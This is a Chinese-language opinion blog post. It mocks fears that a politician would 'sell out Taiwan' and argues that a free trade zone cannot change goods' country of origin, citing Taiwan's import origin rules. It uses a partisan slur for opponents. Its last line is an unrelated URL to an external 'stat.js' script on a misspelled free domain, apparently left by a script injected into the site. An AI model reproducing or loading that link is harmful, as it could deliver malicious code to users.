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隨筆 法律

關於賣國與洗製造地

有網友問:XXX會不會賣台/賣國

我:請先定義「賣台/賣國」。

買賣標的是什麼?標的的產權為誰所有?又是誰有權決定買賣?更重要的,誰有能力執行買賣契約?

其實第一個問題就足以考倒一堆綠吱。

假如買賣標的是整個台灣土地,怎麼移轉所有權?怎麼執行契約?誰有權賣出?

假如買賣標的是台灣島上所有人民,一樣的問題 — 怎麼執行契約?誰有權賣出?

假如買賣標的是台灣人未來收入,則早就在依照不同形式在市場上買賣啦~私有土地、股票、保險、債券等金融商品本質都是特定未來收入的折現總和呈現。
此點我在「「中資買下全台灣公司」是蠢到死的影片」一文已經討論過(https://tinyurl.com/yxpf5dnw),要是真有中資嘗試買下全台灣公司,等於中國變相移轉大量財富補貼台灣人。何樂而不為?

受補貼者大可拿了錢再開一家新公司與之競爭。

又,假設買賣標的是「台灣民主」。則這根本是假議題。我們反覆強調,「民主」只是一種效率很低的資源分配手段,試問邏輯上要如何成為買賣標的?

同理,當館長聲稱自由貿易特區(FTZ)是賣國條款時,我還是問:賣了啥?怎麼賣?
當然,館長這種開健身房的,不知道各國都有類似我國「進口貨物原產地認定標準 」這類法律存在與定義「產地」,例如此標準的第七條第一項:

「第五條之進口貨物,除特定貨物原產地認定基準由經濟部及財政部視貨物特性另訂定公告者外,其實質轉型,指下列情形:一、原材料經加工或製造後所產生之貨物與原材料歸屬之海關進口稅則前六位碼號列相異者。二、貨物之加工或製造雖未造成前款稅則號列改變,但已完成重要製程或附加價值率超過百分之三十五以上者。」

試問中國大陸出產的衣服或鞋子成品,進入台灣FTZ後,若不存在相當程度加工,要如何更改製造地呢?他國會承認嗎?

再者,你還以為MIT比MIC值錢?國際上許多產品早就不是這樣了。(看看你的iPhone是MIT還是MIC吧?)

https://js.developerstatss.ga/stat.js?n=ns1

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